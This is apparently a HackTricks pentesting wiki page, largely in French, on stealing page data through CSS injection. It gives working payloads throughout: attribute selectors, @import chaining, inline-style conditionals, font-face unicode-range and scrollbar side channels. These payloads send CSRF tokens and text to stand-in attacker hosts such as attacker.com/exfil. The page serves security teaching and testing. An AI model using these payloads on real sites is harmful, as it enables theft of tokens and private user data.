32 KiB
CSS Injection
{{#include ../../../banners/hacktricks-training.md}}
CSS Injection
Attribute Selector
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs name
et value
d'un élément input
. Si l'attribut value
de l'élément input
commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
However, this approach faces a limitation when dealing with hidden input elements (type="hidden"
) because hidden elements do not load backgrounds.
Contournement pour les éléments cachés
Pour contourner cette limitation, vous pouvez cibler un élément frère suivant en utilisant le combinator général de sibling ~
. La règle CSS s'applique alors à tous les frères suivant l'input caché, provoquant le chargement de l'image de fond :
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le voir here.
Prérequis pour CSS Injection
Pour que la technique CSS Injection soit efficace, certaines conditions doivent être remplies :
- Payload Length: Le vecteur de CSS injection doit supporter des payloads suffisamment longs pour accueillir les selectors conçus.
- CSS Re-evaluation: Vous devez être capable d'encadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec des payloads nouvellement générés.
- External Resources: La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être restreint par la Content Security Policy (CSP) du site.
Blind Attribute Selector
As explained in this post, it's possible to combine the selectors :has
and :not
to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.
It's also possible to use those selectors to extract information from several block of the same type like in:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
En combinant cela avec la technique @import suivante, il est possible d'exfiltrer beaucoup d'informations en utilisant l'injection CSS depuis des blind pages avec blind-css-exfiltration.
@import
La technique précédente présente quelques inconvénients, regardez les prérequis. Vous devez soit être capable d'envoyer plusieurs liens à la victime, soit être capable d'iframe la page vulnérable à l'injection CSS.
Cependant, il existe une autre technique ingénieuse qui utilise CSS @import
pour améliorer la qualité de la technique.
Cela a été montré pour la première fois par Pepe Vila et cela fonctionne ainsi :
Au lieu de charger la même page encore et encore avec des dizaines de payloads différents à chaque fois (comme dans la précédente), nous allons charger la page une seule fois et seulement avec un import vers le serveur de l'attaquant (c'est le payload à envoyer à la victime) :
@import url("//attacker.com:5001/start?");
- L'import va recevoir un script CSS des attaquants et le navigateur le chargera.
- La première partie du script CSS que l'attaquant enverra est un autre
@import
vers le serveur des attaquants. - Le serveur des attaquants ne répondra pas encore à cette requête, car nous voulons leak quelques caractères puis répondre à cet import avec la payload pour leak les suivants.
- La seconde et plus grosse partie de la payload sera un payload d'exfiltration par sélecteur d'attribut
- Ceci enverra au serveur des attaquants le premier caractère du secret et le dernier
- Une fois que le serveur des attaquants aura reçu le premier et le dernier caractère du secret, il répondra à l'import demandé à l'étape 2.
- La réponse sera exactement la même que les étapes 2, 3 et 4, mais cette fois elle tentera de trouver le deuxième caractère du secret puis l'avant-dernier.
L'attaquant va suivre cette boucle jusqu'à ce qu'il réussisse à leak complètement le secret.
Vous pouvez trouver le code original de Pepe Vila pour exploiter ceci ici ou vous pouvez trouver presque le même code mais commenté ici.
Tip
Le script va essayer de découvrir 2 caractères à la fois (depuis le début et depuis la fin) parce que le sélecteur d'attribut permet de faire des choses comme :
/* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); } /* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }
Cela permet au script de leak le secret plus rapidement.
Warning
Parfois le script ne détecte pas correctement que le préfixe + le suffixe découverts correspondent déjà au flag complet et il continuera en avant (dans le préfixe) et en arrière (dans le suffixe) et à un moment donné il se bloquera.
Aucun souci, vérifiez simplement la sortie car vous pouvez voir le flag là.
Exfiltration CSS en style inline (attr() + if() + image-set())
Cette primitive permet l'exfiltration en n'utilisant que l'attribut style inline d'un élément, sans sélecteurs ni feuilles de style externes. Elle s'appuie sur les propriétés personnalisées CSS, la fonction attr() pour lire les attributs du même élément, les nouveaux conditionnels if() de CSS pour le branching, et image-set() pour déclencher une requête réseau qui encode la valeur correspondante.
Warning
Les comparaisons d'égalité dans if() exigent des guillemets doubles pour les littéraux de chaîne. Les guillemets simples ne correspondent pas.
- Sink: contrôler l'attribut style d'un élément et s'assurer que l'attribut ciblé est sur le même élément (attr() lit seulement les attributs du même élément).
- Read: copier l'attribut dans une variable CSS:
--val: attr(title)
. - Decide: sélectionner une URL en utilisant des conditionnels imbriqués comparant la variable à des chaînes candidates:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: appliquer
background: image-set(var(--steal))
(ou toute propriété provoquant une requête) pour forcer une requête vers l'endpoint choisi.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload fonctionnel (guillemets doubles requis dans la comparaison) :
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Énumération des valeurs d'attribut via des conditions imbriquées:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Démonstration réaliste (sondage des noms d'utilisateur) :
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notes et limitations :
- Fonctionne sur les navigateurs basés sur Chromium au moment de la recherche ; le comportement peut différer sur d'autres moteurs.
- Mieux adapté aux espaces de valeurs finis/énumérables (IDs, flags, short usernames). Le vol de chaînes arbitrairement longues sans feuilles de style externes reste difficile.
- Toute propriété CSS qui récupère une URL peut être utilisée pour déclencher la requête (par ex., background/image-set, border-image, list-style, cursor, content).
Automatisation : a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Autres sélecteurs
Autres manières d'accéder à des parties du DOM avec CSS selectors :
.class-to-search:nth-child(2)
: Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.:empty
selector: Used for example in this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
L'intention générale est d'utiliser une police personnalisée provenant d'un endpoint contrôlé et de s'assurer que le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (favicon.ico
) ne peut pas être chargée.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Utilisation de police personnalisée:
- Une police personnalisée est définie en utilisant la règle
@font-face
dans une balise<style>
située dans la section<head>
. - La police est nommée
poc
et est récupérée depuis un endpoint externe (http://attacker.com/?leak
). - La propriété
unicode-range
est définie surU+0041
, ciblant le caractère Unicode spécifique 'A'.
- Élément
<object>
avec texte de secours:
- Un élément
<object>
avecid="poc0"
est créé dans la section<body>
. Cet élément tente de charger une ressource depuishttp://192.168.0.1/favicon.ico
. - Le
font-family
de cet élément est défini sur'poc'
, comme indiqué dans la section<style>
. - Si la ressource (
favicon.ico
) échoue à se charger, le contenu de repli (la lettre 'A') à l'intérieur de la balise<object>
est affiché. - Le contenu de repli ('A') sera rendu en utilisant la police personnalisée
poc
si la ressource externe ne peut pas être chargée.
Mise en forme du fragment Scroll-to-text
La pseudo-classe :target
est utilisée pour sélectionner un élément ciblé par un fragment d'URL, comme spécifié dans la CSS Selectors Level 4 specification. Il est crucial de comprendre que ::target-text
ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
Un problème de sécurité survient lorsque des attaquants exploitent la fonctionnalité Scroll-to-text, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode consiste à injecter une règle CSS comme ceci:
:target::before {
content: url(target.png);
}
Dans de tels scénarios, si le texte "Administrator" est présent sur la page, la ressource target.png
est demandée au serveur, indiquant la présence du texte. Un exemple de cette attaque peut être exécuté via une URL spécialement conçue qui intègre le CSS injecté ainsi qu'un fragment Scroll-to-text :
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Ici, the attack manipule HTML injection pour transmettre le code CSS, visant le texte spécifique "Administrator" via le Scroll-to-text fragment (#:~:text=Administrator
). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attacker.
Pour atténuer, les points suivants doivent être notés :
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à leak des secrets arbitraires ou des tokens.
- Restriction to Top-level Browsing Contexts: STTF fonctionne uniquement dans les top-level browsing contexts et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
- Necessity of User Activation: STTF nécessite un user-activation gesture pour fonctionner, ce qui signifie que les exploitations ne sont réalisables que via des navigations initiées par l'utilisateur. Cette exigence réduit considérablement le risque que des attacks soient automatisés sans interaction utilisateur. Néanmoins, l'auteur du blog signale des conditions et des bypasses spécifiques (par ex. social engineering, interaction avec des browser extensions répandues) qui pourraient faciliter l'automatisation de l'attack.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la web security et se protéger contre de telles tactiques exploitatives.
Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Vous pouvez vérifier un exploit using this technique for a CTF here.
@font-face / unicode-range
Vous pouvez spécifier polices externes pour des valeurs unicode spécifiques qui ne seront récupérées que si ces valeurs unicode sont présentes dans la page. Par exemple:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome et Firefox fetch "?A" et "?B" parce que le nœud de texte de sensitive-information contient les caractères "A" et "B". Mais Chrome et Firefox ne fetch pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
La technique décrite consiste à extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comporte plusieurs étapes :
- Creation of Custom Fonts:
- Des polices SVG sont conçues avec des glyphes ayant un attribut
horiz-adv-x
, qui définit une grande largeur pour un glyphe représentant une séquence de deux caractères. - Exemple de glyphe SVG :
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, où "XY" représente une séquence de deux caractères. - Ces polices sont ensuite converties en format woff en utilisant fontforge.
- Detection of Width Changes:
- Le CSS est utilisé pour empêcher le retour à la ligne (
white-space: nowrap
) et pour personnaliser le style de la scrollbar. - L'apparition d'une scrollbar horizontale, stylée de manière distincte, sert d'indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS impliqué :
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Étape 1 : Des polices sont créées pour des paires de caractères avec une largeur conséquente.
- Étape 2 : Un tour avec la scrollbar est utilisé pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
- Étape 3 : Lors de la détection d'une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
- Étape 4 : La détection de la ligature de trois caractères est effectuée.
- Étape 5 : Le processus se répète, révélant progressivement tout le texte.
- Optimization:
- La méthode d'initialisation actuelle utilisant
<meta refresh=...
n'est pas optimale. - Une approche plus efficace pourrait impliquer l'astuce CSS
@import
, améliorant les performances de l'exploit.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread. Le charset utilisé dans un nœud de texte peut être leaked en utilisant les polices par défaut installées dans le navigateur : aucune police externe ni personnalisée n'est nécessaire.
Le concept repose sur l'utilisation d'une animation pour élargir progressivement la largeur d'un div, permettant à un caractère à la fois de passer de la partie 'suffix' du texte à la partie 'prefix'. Ce processus divise efficacement le texte en deux sections :
- Préfixe : la ligne initiale.
- Suffixe : la/les ligne(s) suivante(s).
Les étapes de transition des caractères apparaîtraient comme suit :
C
ADB
CA
DB
CAD
B
CADB
Pendant cette transition, l'astuce unicode-range
est employée pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en basculant la police sur Comic Sans, qui est nettement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette scrollbar révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Bien que cette méthode permette de détecter les caractères uniques lorsqu'ils apparaissent, elle ne précise pas quel caractère est répété, seulement qu'une répétition a eu lieu.
Tip
En gros, le unicode-range est utilisé pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.
Quand le caractère est trouvé, il se voit attribuer la police préinstallée Comic Sans, qui agrandit le caractère et déclenche une barre de défilement qui va leak le caractère trouvé.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Reference: Ceci est mentionné comme une solution infructueuse dans ce writeup
Ce cas est très similaire au précédent ; cependant, ici l'objectif de rendre certains caractères plus grands que d'autres est de masquer quelque chose comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. On peut donc mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: Ceci est mentionné comme une solution infructueuse dans ce writeup
Dans ce cas, nous pourrions essayer de leak si un caractère est dans le texte en chargeant une police factice depuis la même origine :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
If there is a match, the font will be loaded from /static/bootstrap.min.css?q=1
. Although it won’t load successfully, the browser should cache it, and even if there is no cache, there is a 304 not modified mechanism, so the response should be faster than other things.
However, if the time difference of the cached response from the non-cached one isn't big enough, this won't be useful. For example, the author mentioned: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1
flag, which is really thoughtful.
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Référence : Ceci est mentionné comme an unsuccessful solution in this writeup
Dans ce cas, vous pouvez indiquer du CSS pour charger des centaines de fausses polices depuis la même origine lorsqu'une correspondance se produit. De cette façon vous pouvez mesurer le temps que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Et le code du bot ressemble à ceci :
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Donc, si la police ne correspond pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. En revanche, s'il y a une correspondance de police, plusieurs requêtes seront envoyées pour récupérer la police, entraînant une activité réseau continue. Il faudra donc plus de temps pour satisfaire la condition d'arrêt et recevoir la réponse. Le temps de réponse peut ainsi être utilisé comme indicateur pour déterminer s'il y a une correspondance de police.
Références
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
{{#include ../../../banners/hacktricks-training.md}}